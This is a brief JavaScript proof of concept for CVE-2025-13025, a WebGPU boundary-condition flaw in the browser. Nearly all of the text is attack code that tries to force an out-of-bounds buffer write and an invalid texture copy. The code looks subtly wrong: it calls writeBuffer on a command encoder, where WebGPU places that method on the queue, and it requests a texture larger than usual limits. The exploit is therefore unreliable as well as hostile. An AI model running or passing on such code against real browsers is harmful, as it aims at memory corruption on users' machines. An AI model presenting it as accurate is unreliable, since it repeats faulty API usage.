CVE-2025-13025

// CVE-2025-13025 PoC - WebGPU Boundary Condition Vulnerability // This PoC demonstrates triggering the boundary condition error in WebGPU component // Note: This is a conceptual PoC for educational purposes only const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); // Create a buffer with specific size const bufferSize = 1024; const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Attempt to trigger boundary condition by creating oversized write // The vulnerability lies in insufficient boundary checking const commandEncoder = device.createCommandEncoder(); // Craft a write that exceeds buffer boundaries const oversizedData = new Uint8Array(bufferSize * 2); // 2x the buffer size // This operation should fail but due to boundary condition error may proceed try { commandEncoder.writeBuffer(buffer, 0, oversizedData, 0, oversizedData.length); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('Boundary condition triggered - buffer overflow possible'); } catch (error) { console.log('Error caught:', error.message); } // Alternative trigger via texture operations const texture = device.createTexture({ size: { width: 65536, height: 65536, depthOrArrayLayers: 1 }, format: 'rgba8unorm', usage: GPUTextureUsage.COPY_SRC }); // Trigger via copy operation with invalid parameters const copyEncoder = device.createCommandEncoder(); copyEncoder.copyTextureToBuffer( { texture: texture }, { buffer: buffer, offset: 0, bytesPerRow: 256, rowsPerImage: 1 }, { width: 0, height: 0, depthOrArrayLayers: 0 } // Invalid dimensions );
